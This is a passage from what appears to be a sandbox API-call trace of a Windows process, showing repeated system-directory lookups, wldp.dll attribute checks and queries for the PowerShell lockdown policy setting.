lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.979] CoTaskMemFree (pv=0x43be9e8) [0091.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.979] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.979] WldpGetLockdownPolicy () returned 0x0 [0091.979] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.980] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.980] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.980] RegCloseKey (hKey=0x528) returned 0x0 [0091.980] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.980] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.980] CoTaskMemFree (pv=0x43be9e8) [0091.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.980] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.980] WldpGetLockdownPolicy () returned 0x0 [0091.980] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.981] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.981] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.981] RegCloseKey (hKey=0x528) returned 0x0 [0091.981] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.981] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.981] CoTaskMemFree (pv=0x43be9e8) [0091.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.981] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.981] WldpGetLockdownPolicy () returned 0x0 [0091.981] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.982] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.982] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.982] RegCloseKey (hKey=0x528) returned 0x0 [0091.982] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.982] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.982] CoTaskMemFree (pv=0x43be9e8) [0091.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.982] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.982] WldpGetLockdownPolicy () returned 0x0 [0091.982] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.982] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.983] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.983] RegCloseKey (hKey=0x528) returned 0x0 [0091.983] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.983] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.983] CoTaskMemFree (pv=0x43be9e8) [0091.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.983] WldpGetLockdownPolicy () returned 0x0 [0091.983] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.983] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.983] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.984] RegCloseKey (hKey=0x528) returned 0x0 [0091.984] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.984] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.984] CoTaskMemFree (pv=0x43be9e8) [0091.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.984] WldpGetLockdownPolicy () returned 0x0 [0091.984] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.984] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.984] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.984] RegCloseKey (hKey=0x528) returned 0x0 [0091.984] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.984] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.985] CoTaskMemFree (pv=0x43be9e8) [0091.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.985] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.985] WldpGetLockdownPolicy () returned 0x0 [0091.986] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.986] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.986] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.986] RegCloseKey (hKey=0x528) returned 0x0 [0091.986] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.986] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.986] CoTaskMemFree (pv=0x43be9e8) [0091.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.986] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.986] WldpGetLockdownPolicy () returned 0x0 [0091.986] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.987] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.987] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.987] RegCloseKey (hKey=0x528) returned 0x0 [0091.987] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.987] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.987] CoTaskMemFree (pv=0x43be9e8) [0091.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.987] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.987] WldpGetLockdownPolicy () returned 0x0 [0091.987] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.988] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.988] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.988] RegCloseKey (hKey=0x528) returned 0x0 [0091.988] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.988] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.988] CoTaskMemFree (pv=0x43be9e8) [0091.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.988] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.988] WldpGetLockdownPolicy () returned 0x0 [0091.988] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.988] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.989] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.989] RegCloseKey (hKey=0x528) returned 0x0 [0091.989] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.989] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.989] CoTaskMemFree (pv=0x43be9e8) [0091.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.989] WldpGetLockdownPolicy () returned 0x0 [0091.989] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.989] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.990] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.990] RegCloseKey (hKey=0x528) returned 0x0 [0091.990] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.990] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.990] CoTaskMemFree (pv=0x43be9e8) [0091.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, 